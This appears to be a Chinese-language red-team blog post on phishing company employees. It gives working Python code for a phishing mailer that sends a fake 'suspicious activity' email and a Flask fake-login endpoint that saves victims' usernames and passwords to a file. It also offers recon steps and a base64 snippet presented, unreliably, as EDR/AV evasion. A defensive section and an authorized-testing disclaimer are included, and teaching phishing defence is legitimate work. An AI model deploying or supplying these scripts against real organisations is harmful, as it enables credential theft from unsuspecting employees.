0x01 攻击板块
社工铓鱼攻击在现代互联网公司中扮演着越来越重要的角色。无论是为了获得机密数据,还是为了进行后续的网络渗透,社工铓鱼技术都提供了一个强大的入口。本文仅限授权安全测试,供安全研究人员学习。
架构与目标分析
我们要攻破的目标是一个典型的互联网公司,它的员工使用电子邮件进行日常沟通,同时通过公司内部应用处理敏感信息。我们的目的是通过社工铓鱼获取员工的认证信息,从而访问这些内部应用。
这个目标的架构通常包括以下几个组件:
- 邮件服务器:处理所有入站和出站邮件,可能存在于云端或公司内部。
- VPN服务:提供远程员工访问内部系统的途径。
- 内部应用:通常通过Web访问,使用单点登录(SSO)进行身份认证。
攻击思路:通过构建一个逼真的铓鱼邮件,引导员工访问我们控制的伪造登录页面,从而窃取他们的认证信息。
0x02 诱惑与伪装艺术
信息收集与分析
在任何攻击活动中,信息收集都是至关重要的。通过探测目标的社交媒体、网站及其它公开资源,我们可以获得许多关于他们的业务活动、员工结构、邮件格式等信息。特别是,了解目标的邮件格式和沟通风格,可以帮助我们构建一个更真实的攻陷环境。
信息挖掘步骤:
- 社交工程:利用LinkedIn等平台收集员工信息。
- 网络侦查:使用工具如Shodan或Censys检测目标的邮件服务器配置。
- 邮件样本分析:找寻公开的邮件格式,分析常用的邮件内容。
铓鱼邮件构造
一旦我们有了足够的信息,就可以开始构建诱惑的铓鱼邮件。目标是让邮件看起来尽可能逼真,增加受害者点击链接的可能性。
<pre><code class="language-python">import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart
def send_phishing_email(target_email, fake_page_url): sender_email = "[email protected]" subject = "Urgent: Update Required"
这里我们用HTML格式构造邮件内容
html_content = f""" <html> <body> <p>Dear User,</p> <p>We have detected suspicious activity on your account. Please <a href="{fake_page_url}">click here</a> to secure your account.</p> <p>Best Regards,<br>Your Security Team</p> </body> </html> """
message = MIMEMultipart("alternative") message["Subject"] = subject message["From"] = sender_email message["To"] = target_email
将HTML内容附加到邮件
part = MIMEText(html_content, "html") message.attach(part)
发送邮件
with smtplib.SMTP("smtp.example.com", 587) as server: server.starttls() server.login(sender_email, "password") server.sendmail(sender_email, target_email, message.as_string())</code></pre>
0x03 流量捕获实战
钓鱼网站搭建
接下来,我们需要构建一个伪登录页面来捕获用户的认证信息。这通常涉及到复制目标公司的登录页面,并设置一个后端数据库来存储窃取的信息。
钓鱼网站创建步骤:
- 页面复制:使用工具如HTTrack复制目标公司的登录页面。
- 后端设置:使用Flask或Django等框架构建一个简单的POST处理程序来存储凭证。
<pre><code class="language-python">from flask import Flask, request
app = Flask(__name__)
@app.route('/login', methods=['POST']) def login():
捕获用户提交的用户名和密码
username = request.form['username'] password = request.form['password']
将凭证保存到文件或数据库
with open('credentials.txt', 'a') as file: file.write(f"Username: {username}, Password: {password}\n")
重定向到真实登录页面
return "Redirecting...", 302
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)</code></pre>
0x04 隐匿与对抗技巧

EDR/AV绕过技术

在目标点击链接并访问伪登录页面时,我们的钓鱼网站可能会被现代的EDR(端点检测与响应)或AV(杀毒软件)检测到。因此,采用一些流量伪装和协议规避技术是必要的。
流量伪装技巧:
- SSL加密:确保钓鱼网站使用SSL加密,模拟真实网站。
- 数据混淆:通过数据加密或混淆,规避简单的流量检测。
数据混淆示例:

<pre><code class="language-python">import base64
def encode_data(data):
使用base64编码数据
encoded_data = base64.b64encode(data.encode()).decode() return encoded_data
def decode_data(encoded_data):
解码base64数据
decoded_data = base64.b64decode(encoded_data.encode()).decode() return decoded_data</code></pre>
0x05 侦查与防御
检测与应对策略
尽管社工铓鱼攻击难以完全阻止,但通过适当的检测和应对策略,可以显著减轻其影响。在进行授权的测试后,我们可以建议目标公司采取以下措施:
- 员工培训:提高员工对社工攻击的认知和警惕。
- 邮件过滤:使用高级邮件过滤技术识别和隔离可疑邮件。
- 网络监控:通过流量分析工具实时检测异常行为。
实战案例分享
在一次真实的授权渗透测试中,我曾成功通过伪造的公司更新邮件诱导数名员工提交认证信息。这次攻击的成功在于邮件的逼真程度以及钓鱼网站的细节处理。
经过这次测试,目标公司认识到员工教育的重要性,随后实施了一系列培训课程,提高了整体安全意识。
0x06 个人经验与总结
攻击者视角的洞察
作为一个红队成员,永远要把自己置于攻击者的角色,才能真正理解如何防御。社工铓鱼攻击不仅涉及技术层面,还需要心理学的支持。在构建攻击链的过程中,细节决定成败。
未来展望:随着安全技术的发展,攻击者和防御者的斗争将更加激烈。通过不断的学习和模拟真实场景,可以有效提高我们的攻击能力,同时为防御团队提供更有力的支持。
合法性声明:本文所述技术仅用于安全测试,旨在提高网络安全意识和能力。未经授权的攻击行为是非法的,请务必遵守相关法律法规。